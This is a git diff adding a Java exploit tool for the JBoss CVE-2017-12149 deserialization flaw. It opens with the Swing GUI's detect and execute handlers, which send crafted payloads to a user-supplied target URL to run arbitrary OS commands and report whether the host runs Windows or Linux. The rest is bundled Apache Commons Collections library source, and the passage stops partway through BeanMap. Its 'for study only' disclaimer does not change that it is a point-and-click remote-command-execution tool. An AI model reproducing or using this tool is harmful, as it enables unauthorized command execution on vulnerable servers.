frmCveJboosAs.setTitle("CVE-2017-12149 Jboss反序列化 V1.0"); + frmCveJboosAs.setBounds(100, 100, 588, 528); + frmCveJboosAs.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + frmCveJboosAs.getContentPane().setLayout(null); + + JScrollPane scrollPane = new JScrollPane(); + scrollPane.setBounds(10, 93, 546, 364); + frmCveJboosAs.getContentPane().add(scrollPane); + + final JLabel info = new JLabel("仅供学习交流使用,切勿用于非法用途,否则后果自负! by:云絮"); + info.setBounds(20, 463, 505, 18); + frmCveJboosAs.getContentPane().add(info); + + final JTextArea textArea = new JTextArea(); + textArea.setLineWrap(true); + scrollPane.setViewportView(textArea); + + JButton btnNewButton = new JButton("2.执行"); + btnNewButton.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent arg0) { + + String jboss_ip = server.getText(); + String command = cmd.getText(); + if ("".equals(os)) { + info.setText("请先检测是否存在漏洞"); + return; + } + try { + Payload = payload.PayloadGeneration(command,os); + }catch (Exception e) { + info.setText("执行出现异常:"+e.toString()); + } + try { + result = doPost.DoPost(jboss_ip, Payload); + } catch (Exception e) { + // TODO Auto-generated catch block + info.setText("执行出现异常:"+e.toString()); + e.printStackTrace(); + } + textArea.setText(""); + textArea.setText(result.trim().substring(9).trim()); + } + }); + btnNewButton.setBounds(454, 50, 102, 30); + + frmCveJboosAs.getContentPane().add(btnNewButton); + JButton btnNewButton_1 = new JButton("1.检测"); + btnNewButton_1.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent arg0) { + try { + String jboss_ip = server.getText(); + String command = cmd.getText(); + + Payload = payload.upload("windows"); + try { + result = doPost.DoPost(jboss_ip, Payload); + } catch (Exception e) { + // TODO Auto-generated catch block + info.setText("执行出现异常:"+e.toString()); + e.printStackTrace(); + } + Payload = payload.upload("Linux"); + try { + result = doPost.DoPost(jboss_ip, Payload); + } catch (Exception e) { + // TODO Auto-generated catch block + info.setText("执行出现异常:"+e.toString()); + e.printStackTrace(); + } + + Payload = payload.PayloadGeneration(command,"windows"); + result=doPost.DoPost(jboss_ip, Payload); + System.out.println(result); + if("".equals(result)) { + Payload = payload.PayloadGeneration(command,"linux"); + result=doPost.DoPost(jboss_ip, Payload); + } + + if("".equals(result.trim())){ + info.setText("漏洞不存在"); + return; + } + +// + try { + String res_os=result.trim().substring(0, 9); + + if (res_os.equals("[L291919]")){ + os="linux"; + info.setText("存在漏洞,系统是:linux"); + }else if(res_os.equals("[W291013]")){ + os="windows"; + info.setText("存在漏洞,系统是:windows"); + } + }catch(Exception e){ + textArea.setText(result); + info.setText("执行出现异常:"+e.toString()); + } + } catch (ClassNotFoundException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (NoSuchMethodException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (InstantiationException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (IllegalAccessException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (IllegalArgumentException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (InvocationTargetException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (NoSuchFieldException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (Exception e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + } + }); + btnNewButton_1.setBounds(454, 15, 102, 27); + frmCveJboosAs.getContentPane().add(btnNewButton_1); + + server = new JTextField(); + server.setText("http://127.0.0.1:8080"); + server.setBounds(42, 13, 396, 30); + frmCveJboosAs.getContentPane().add(server); + server.setColumns(10); + + cmd = new JTextField(); + cmd.setText("whoami"); + cmd.setColumns(10); + cmd.setBounds(42, 49, 396, 30); + frmCveJboosAs.getContentPane().add(cmd); + + JLabel lblurl = new JLabel("目标:"); + lblurl.setBounds(10, 18, 102, 18); + frmCveJboosAs.getContentPane().add(lblurl); + + JLabel lblip = new JLabel("cmd:"); + lblip.setBounds(10, 55, 102, 18); + frmCveJboosAs.getContentPane().add(lblip); + + + + + + } +} diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ArrayStack.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ArrayStack.java" new file mode 100644 index 0000000..a2e320c --- /dev/null +++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ArrayStack.java" @@ -0,0 +1,194 @@ +/* + * Copyright 2001-2004 The Apache Software Foundation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.commons.collections; + +import java.util.ArrayList; +import java.util.EmptyStackException; + +/** + * An implementation of the {@link java.util.Stack} API that is based on an + * ArrayList instead of a Vector, so it is not + * synchronized to protect against multi-threaded access. The implementation + * is therefore operates faster in environments where you do not need to + * worry about multiple thread contention. + *

+ * The removal order of an ArrayStack is based on insertion + * order: The most recently added element is removed first. The iteration + * order is not the same as the removal order. The iterator returns + * elements from the bottom up, whereas the {@link #remove()} method removes + * them from the top down. + *

+ * Unlike Stack, ArrayStack accepts null entries. + * + * @see java.util.Stack + * @since Commons Collections 1.0 + * @version $Revision: 1.17 $ $Date: 2004/02/18 01:15:42 $ + * + * @author Craig R. McClanahan + * @author Paul Jack + * @author Stephen Colebourne + */ +public class ArrayStack extends ArrayList implements Buffer { + + /** Ensure serialization compatibility */ + private static final long serialVersionUID = 2130079159931574599L; + + /** + * Constructs a new empty ArrayStack. The initial size + * is controlled by ArrayList and is currently 10. + */ + public ArrayStack() { + super(); + } + + /** + * Constructs a new empty ArrayStack with an initial size. + * + * @param initialSize the initial size to use + * @throws IllegalArgumentException if the specified initial size + * is negative + */ + public ArrayStack(int initialSize) { + super(initialSize); + } + + /** + * Return true if this stack is currently empty. + *

+ * This method exists for compatibility with java.util.Stack. + * New users of this class should use isEmpty instead. + * + * @return true if the stack is currently empty + */ + public boolean empty() { + return isEmpty(); + } + + /** + * Returns the top item off of this stack without removing it. + * + * @return the top item on the stack + * @throws EmptyStackException if the stack is empty + */ + public Object peek() throws EmptyStackException { + int n = size(); + if (n <= 0) { + throw new EmptyStackException(); + } else { + return get(n - 1); + } + } + + /** + * Returns the n'th item down (zero-relative) from the top of this + * stack without removing it. + * + * @param n the number of items down to go + * @return the n'th item on the stack, zero relative + * @throws EmptyStackException if there are not enough items on the + * stack to satisfy this request + */ + public Object peek(int n) throws EmptyStackException { + int m = (size() - n) - 1; + if (m < 0) { + throw new EmptyStackException(); + } else { + return get(m); + } + } + + /** + * Pops the top item off of this stack and return it. + * + * @return the top item on the stack + * @throws EmptyStackException if the stack is empty + */ + public Object pop() throws EmptyStackException { + int n = size(); + if (n <= 0) { + throw new EmptyStackException(); + } else { + return remove(n - 1); + } + } + + /** + * Pushes a new item onto the top of this stack. The pushed item is also + * returned. This is equivalent to calling add. + * + * @param item the item to be added + * @return the item just pushed + */ + public Object push(Object item) { + add(item); + return item; + } + + /** + * Returns the one-based position of the distance from the top that the + * specified object exists on this stack, where the top-most element is + * considered to be at distance 1. If the object is not + * present on the stack, return -1 instead. The + * equals() method is used to compare to the items + * in this stack. + * + * @param object the object to be searched for + * @return the 1-based depth into the stack of the object, or -1 if not found + */ + public int search(Object object) { + int i = size() - 1; // Current index + int n = 1; // Current distance + while (i >= 0) { + Object current = get(i); + if ((object == null && current == null) || + (object != null && object.equals(current))) { + return n; + } + i--; + n++; + } + return -1; + } + + /** + * Returns the element on the top of the stack. + * + * @return the element on the top of the stack + * @throws BufferUnderflowException if the stack is empty + */ + public Object get() { + int size = size(); + if (size == 0) { + throw new BufferUnderflowException(); + } + return get(size - 1); + } + + /** + * Removes the element on the top of the stack. + * + * @return the removed element + * @throws BufferUnderflowException if the stack is empty + */ + public Object remove() { + int size = size(); + if (size == 0) { + throw new BufferUnderflowException(); + } + return remove(size - 1); + } + +} diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Bag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Bag.java" new file mode 100644 index 0000000..0a492bd --- /dev/null +++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Bag.java" @@ -0,0 +1,221 @@ +/* + * Copyright 2001-2004 The Apache Software Foundation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.commons.collections; + +import java.util.Collection; +import java.util.Iterator; +import java.util.Set; + +/** + * Defines a collection that counts the number of times an object appears in + * the collection. + *

+ * Suppose you have a Bag that contains {a, a, b, c}. + * Calling {@link #getCount(Object)} on a would return 2, while + * calling {@link #uniqueSet()} would return {a, b, c}. + *

+ * NOTE: This interface violates the {@link Collection} contract. + * The behavior specified in many of these methods is not the same + * as the behavior specified by Collection. + * The noncompliant methods are clearly marked with "(Violation)". + * Exercise caution when using a bag as a Collection. + *

+ * This violation resulted from the original specification of this interface. + * In an ideal world, the interface would be changed to fix the problems, however + * it has been decided to maintain backwards compatibility instead. + * + * @since Commons Collections 2.0 + * @version $Revision: 1.18 $ $Date: 2004/05/03 15:12:20 $ + * + * @author Chuck Burdick + * @author Stephen Colebourne + */ +public interface Bag extends Collection { + + /** + * Returns the number of occurrences (cardinality) of the given + * object currently in the bag. If the object does not exist in the + * bag, return 0. + * + * @param object the object to search for + * @return the number of occurrences of the object, zero if not found + */ + int getCount(Object object); + + /** + * (Violation) + * Adds one copy the specified object to the Bag. + *

+ * If the object is already in the {@link #uniqueSet()} then increment its + * count as reported by {@link #getCount(Object)}. Otherwise add it to the + * {@link #uniqueSet()} and report its count as 1. + *

+ * Since this method always increases the size of the bag, + * according to the {@link Collection#add(Object)} contract, it + * should always return true. Since it sometimes returns + * false, this method violates the contract. + * + * @param object the object to add + * @return true if the object was not already in the uniqueSet + */ + boolean add(Object object); + + /** + * Adds nCopies copies of the specified object to the Bag. + *

+ * If the object is already in the {@link #uniqueSet()} then increment its + * count as reported by {@link #getCount(Object)}. Otherwise add it to the + * {@link #uniqueSet()} and report its count as nCopies. + * + * @param object the object to add + * @param nCopies the number of copies to add + * @return true if the object was not already in the uniqueSet + */ + boolean add(Object object, int nCopies); + + /** + * (Violation) + * Removes all occurrences of the given object from the bag. + *

+ * This will also remove the object from the {@link #uniqueSet()}. + *

+ * According to the {@link Collection#remove(Object)} method, + * this method should only remove the first occurrence of the + * given object, not all occurrences. + * + * @return true if this call changed the collection + */ + boolean remove(Object object); + + /** + * Removes nCopies copies of the specified object from the Bag. + *

+ * If the number of copies to remove is greater than the actual number of + * copies in the Bag, no error is thrown. + * + * @param object the object to remove + * @param nCopies the number of copies to remove + * @return true if this call changed the collection + */ + boolean remove(Object object, int nCopies); + + /** + * Returns a {@link Set} of unique elements in the Bag. + *

+ * Uniqueness constraints are the same as those in {@link java.util.Set}. + * + * @return the Set of unique Bag elements + */ + Set uniqueSet(); + + /** + * Returns the total number of items in the bag across all types. + * + * @return the total size of the Bag + */ + int size(); + + /** + * (Violation) + * Returns true if the bag contains all elements in + * the given collection, respecting cardinality. That is, if the + * given collection coll contains n copies + * of a given object, calling {@link #getCount(Object)} on that object must + * be >= n for all n in coll. + *

+ * The {@link Collection#containsAll(Collection)} method specifies + * that cardinality should not be respected; this method should + * return true if the bag contains at least one of every object contained + * in the given collection. + * + * @param coll the collection to check against + * @return true if the Bag contains all the collection + */ + boolean containsAll(Collection coll); + + /** + * (Violation) + * Remove all elements represented in the given collection, + * respecting cardinality. That is, if the given collection + * coll contains n copies of a given object, + * the bag will have n fewer copies, assuming the bag + * had at least n copies to begin with. + * + *

The {@link Collection#removeAll(Collection)} method specifies + * that cardinality should not be respected; this method should + * remove all occurrences of every object contained in the + * given collection. + * + * @param coll the collection to remove + * @return true if this call changed the collection + */ + boolean removeAll(Collection coll); + + /** + * (Violation) + * Remove any members of the bag that are not in the given + * collection, respecting cardinality. That is, if the given + * collection coll contains n copies of a + * given object and the bag has m > n copies, then + * delete m - n copies from the bag. In addition, if + * e is an object in the bag but + * !coll.contains(e), then remove e and any + * of its copies. + * + *

The {@link Collection#retainAll(Collection)} method specifies + * that cardinality should not be respected; this method should + * keep all occurrences of every object contained in the + * given collection. + * + * @param coll the collection to retain + * @return true if this call changed the collection + */ + boolean retainAll(Collection coll); + + /** + * Returns an {@link Iterator} over the entire set of members, + * including copies due to cardinality. This iterator is fail-fast + * and will not tolerate concurrent modifications. + * + * @return iterator over all elements in the Bag + */ + Iterator iterator(); + + // The following is not part of the formal Bag interface, however where possible + // Bag implementations should follow these comments. +// /** +// * Compares this Bag to another. +// * This Bag equals another Bag if it contains the same number of occurrences of +// * the same elements. +// * This equals definition is compatible with the Set interface. +// * +// * @param obj the Bag to compare to +// * @return true if equal +// */ +// boolean equals(Object obj); +// +// /** +// * Gets a hash code for the Bag compatible with the definition of equals. +// * The hash code is defined as the sum total of a hash code for each element. +// * The per element hash code is defined as +// * (e==null ? 0 : e.hashCode()) ^ noOccurances). +// * This hash code definition is compatible with the Set interface. +// * +// * @return the hash code of the Bag +// */ +// int hashCode(); + +} diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BagUtils.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BagUtils.java" new file mode 100644 index 0000000..c42ab2d --- /dev/null +++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BagUtils.java" @@ -0,0 +1,243 @@ +/* + * Copyright 2002-2004 The Apache Software Foundation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.commons.collections; + +import org.apache.commons.collections.bag.HashBag; +import org.apache.commons.collections.bag.PredicatedBag; +import org.apache.commons.collections.bag.PredicatedSortedBag; +import org.apache.commons.collections.bag.SynchronizedBag; +import org.apache.commons.collections.bag.SynchronizedSortedBag; +import org.apache.commons.collections.bag.TransformedBag; +import org.apache.commons.collections.bag.TransformedSortedBag; +import org.apache.commons.collections.bag.TreeBag; +import org.apache.commons.collections.bag.TypedBag; +import org.apache.commons.collections.bag.TypedSortedBag; +import org.apache.commons.collections.bag.UnmodifiableBag; +import org.apache.commons.collections.bag.UnmodifiableSortedBag; + +/** + * Provides utility methods and decorators for + * {@link Bag} and {@link SortedBag} instances. + * + * @since Commons Collections 2.1 + * @version $Revision: 1.20 $ $Date: 2004/04/01 20:12:00 $ + * + * @author Paul Jack + * @author Stephen Colebourne + * @author Andrew Freeman + * @author Matthew Hawthorne + */ +public class BagUtils { + + /** + * An empty unmodifiable bag. + */ + public static final Bag EMPTY_BAG = UnmodifiableBag.decorate(new HashBag()); + + /** + * An empty unmodifiable sorted bag. + */ + public static final Bag EMPTY_SORTED_BAG = UnmodifiableSortedBag.decorate(new TreeBag()); + + /** + * Instantiation of BagUtils is not intended or required. + * However, some tools require an instance to operate. + */ + public BagUtils() { + } + + //----------------------------------------------------------------------- + /** + * Returns a synchronized (thread-safe) bag backed by the given bag. + * In order to guarantee serial access, it is critical that all + * access to the backing bag is accomplished through the returned bag. + *

+ * It is imperative that the user manually synchronize on the returned + * bag when iterating over it: + * + *

+     * Bag bag = BagUtils.synchronizedBag(new HashBag());
+     * ...
+     * synchronized(bag) {
+     *     Iterator i = bag.iterator(); // Must be in synchronized block
+     *     while (i.hasNext())
+     *         foo(i.next());
+     *     }
+     * }
+     * 
+ * + * Failure to follow this advice may result in non-deterministic + * behavior. + * + * @param bag the bag to synchronize, must not be null + * @return a synchronized bag backed by that bag + * @throws IllegalArgumentException if the Bag is null + */ + public static Bag synchronizedBag(Bag bag) { + return SynchronizedBag.decorate(bag); + } + + /** + * Returns an unmodifiable view of the given bag. Any modification + * attempts to the returned bag will raise an + * {@link UnsupportedOperationException}. + * + * @param bag the bag whose unmodifiable view is to be returned, must not be null + * @return an unmodifiable view of that bag + * @throws IllegalArgumentException if the Bag is null + */ + public static Bag unmodifiableBag(Bag bag) { + return UnmodifiableBag.decorate(bag); + } + + /** + * Returns a predicated (validating) bag backed by the given bag. + *

+ * Only objects that pass the test in the given predicate can be added to the bag. + * Trying to add an invalid object results in an IllegalArgumentException. + * It is important not to use the original bag after invoking this method, + * as it is a backdoor for adding invalid objects. + * + * @param bag the bag to predicate, must not be null + * @param predicate the predicate for the bag, must not be null + * @return a predicated bag backed by the given bag + * @throws IllegalArgumentException if the Bag or Predicate is null + */ + public static Bag predicatedBag(Bag bag, Predicate predicate) { + return PredicatedBag.decorate(bag, predicate); + } + + /** + * Returns a typed bag backed by the given bag. + *

+ * Only objects of the specified type can be added to the bag. + * + * @param bag the bag to limit to a specific type, must not be null + * @param type the type of objects which may be added to the bag + * @return a typed bag backed by the specified bag + */ + public static Bag typedBag(Bag bag, Class type) { + return TypedBag.decorate(bag, type); + } + + /** + * Returns a transformed bag backed by the given bag. + *

+ * Each object is passed through the transformer as it is added to the + * Bag. It is important not to use the original bag after invoking this + * method, as it is a backdoor for adding untransformed objects. + * + * @param bag the bag to predicate, must not be null + * @param transformer the transformer for the bag, must not be null + * @return a transformed bag backed by the given bag + * @throws IllegalArgumentException if the Bag or Transformer is null + */ + public static Bag transformedBag(Bag bag, Transformer transformer) { + return TransformedBag.decorate(bag, transformer); + } + + //----------------------------------------------------------------------- + /** + * Returns a synchronized (thread-safe) sorted bag backed by the given + * sorted bag. + * In order to guarantee serial access, it is critical that all + * access to the backing bag is accomplished through the returned bag. + *

+ * It is imperative that the user manually synchronize on the returned + * bag when iterating over it: + * + *

+     * SortedBag bag = BagUtils.synchronizedSortedBag(new TreeBag());
+     * ...
+     * synchronized(bag) {
+     *     Iterator i = bag.iterator(); // Must be in synchronized block
+     *     while (i.hasNext())
+     *         foo(i.next());
+     *     }
+     * }
+     * 
+ * + * Failure to follow this advice may result in non-deterministic + * behavior. + * + * @param bag the bag to synchronize, must not be null + * @return a synchronized bag backed by that bag + * @throws IllegalArgumentException if the SortedBag is null + */ + public static SortedBag synchronizedSortedBag(SortedBag bag) { + return SynchronizedSortedBag.decorate(bag); + } + + /** + * Returns an unmodifiable view of the given sorted bag. Any modification + * attempts to the returned bag will raise an + * {@link UnsupportedOperationException}. + * + * @param bag the bag whose unmodifiable view is to be returned, must not be null + * @return an unmodifiable view of that bag + * @throws IllegalArgumentException if the SortedBag is null + */ + public static SortedBag unmodifiableSortedBag(SortedBag bag) { + return UnmodifiableSortedBag.decorate(bag); + } + + /** + * Returns a predicated (validating) sorted bag backed by the given sorted bag. + *

+ * Only objects that pass the test in the given predicate can be added to the bag. + * Trying to add an invalid object results in an IllegalArgumentException. + * It is important not to use the original bag after invoking this method, + * as it is a backdoor for adding invalid objects. + * + * @param bag the sorted bag to predicate, must not be null + * @param predicate the predicate for the bag, must not be null + * @return a predicated bag backed by the given bag + * @throws IllegalArgumentException if the SortedBag or Predicate is null + */ + public static SortedBag predicatedSortedBag(SortedBag bag, Predicate predicate) { + return PredicatedSortedBag.decorate(bag, predicate); + } + + /** + * Returns a typed sorted bag backed by the given bag. + *

+ * Only objects of the specified type can be added to the bag. + * + * @param bag the bag to limit to a specific type, must not be null + * @param type the type of objects which may be added to the bag + * @return a typed bag backed by the specified bag + */ + public static SortedBag typedSortedBag(SortedBag bag, Class type) { + return TypedSortedBag.decorate(bag, type); + } + + /** + * Returns a transformed sorted bag backed by the given bag. + *

+ * Each object is passed through the transformer as it is added to the + * Bag. It is important not to use the original bag after invoking this + * method, as it is a backdoor for adding untransformed objects. + * + * @param bag the bag to predicate, must not be null + * @param transformer the transformer for the bag, must not be null + * @return a transformed bag backed by the given bag + * @throws IllegalArgumentException if the Bag or Transformer is null + */ + public static SortedBag transformedSortedBag(SortedBag bag, Transformer transformer) { + return TransformedSortedBag.decorate(bag, transformer); + } + +} diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BeanMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BeanMap.java" new file mode 100644 index 0000000..a978070 --- /dev/null +++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BeanMap.java" @@ -0,0 +1,799 @@ +/* + * Copyright 2001-2004 The Apache Software Foundation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.commons.collections; + +import java.beans.BeanInfo; +import java.beans.IntrospectionException; +import java.beans.Introspector; +import java.beans.PropertyDescriptor; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.AbstractMap; +import java.util.AbstractSet; +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Set; + +import org.apache.commons.collections.list.UnmodifiableList; +import org.apache.commons.collections.keyvalue.AbstractMapEntry; +import org.apache.commons.collections.set.UnmodifiableSet; + +/** + * An implementation of Map for JavaBeans which uses introspection to + * get and put properties in the bean. + *

+ * If an exception occurs during attempts to get or set a property then the + * property is considered non existent in the Map + * + * @since Commons Collections 1.0 + * @version $Revision: 1.29 $ $Date: 2004/02/18 01:15:42 $ + * + * @author James Strachan + * @author Stephen Colebourne + */ +public class BeanMap extends AbstractMap implements Cloneable { + + private transient Object bean; + + private transient HashMap readMethods = new HashMap(); + private transient HashMap writeMethods = new HashMap(); + private transient HashMap types = new HashMap(); + + /** + * An empty array. Used to invoke accessors via reflection. + */ + public static final Object[] NULL_ARGUMENTS = {}; + + /** + * Maps primitive Class types to transformers. The transformer + * transform strings into the appropriate primitive wrapper. + */ + public static HashMap defaultTransformers = new HashMap(); + + static { + defaultTransformers.put( + Boolean.TYPE, + new Transformer() { + public Object transform( Object input ) { + return Boolean.valueOf( input.toString() ); + } + } + ); + defaultTransformers.put( + Character.TYPE, + new Transformer() { + public Object transform( Object input ) { + return new Character( input.toString().charAt( 0 ) ); + } + } + ); + defaultTransformers.put( + Byte.TYPE, + new Transformer() { + public Object transform( Object input ) { + return Byte.valueOf( input.toString() ); + } + } + ); + defaultTransformers.put( + Short.TYPE, + new Transformer() { + public Object transform( Object input ) { + return Short.valueOf( input.toString() ); + } + } + ); + defaultTransformers.put( + Integer.TYPE, + new Transformer() { + public Object transform( Object input ) { + return Integer.valueOf( input.toString() ); + } + } + ); + defaultTransformers.put( + Long.TYPE, + new Transformer() { + public Object transform( Object input ) { + return Long.valueOf( input.toString() ); + } + } + ); + defaultTransformers.put( + Float.TYPE, + new Transformer() { + public Object transform( Object input ) { + return Float.valueOf( input.toString() ); + } + } + ); + defaultTransformers.put( + Double.TYPE, + new Transformer() { + public Object transform( Object input ) { + return Double.valueOf( input.toString() ); + } + } + ); + } + + + // Constructors + //------------------------------------------------------------------------- + + /** + * Constructs a new empty BeanMap. + */ + public BeanMap() { + } + + /** + * Constructs a new BeanMap that operates on the + * specified bean. If the given bean is null, then + * this map will be empty. + * + * @param bean the bean for this map to operate on + */ + public BeanMap(Object bean) { + this.bean = bean; + initialise(); + } + + // Map interface + //------------------------------------------------------------------------- + + public String toString() { + return "BeanMap<" + String.valueOf(bean) + ">"; + } + + /** + * Clone this bean map using the following process: + * + *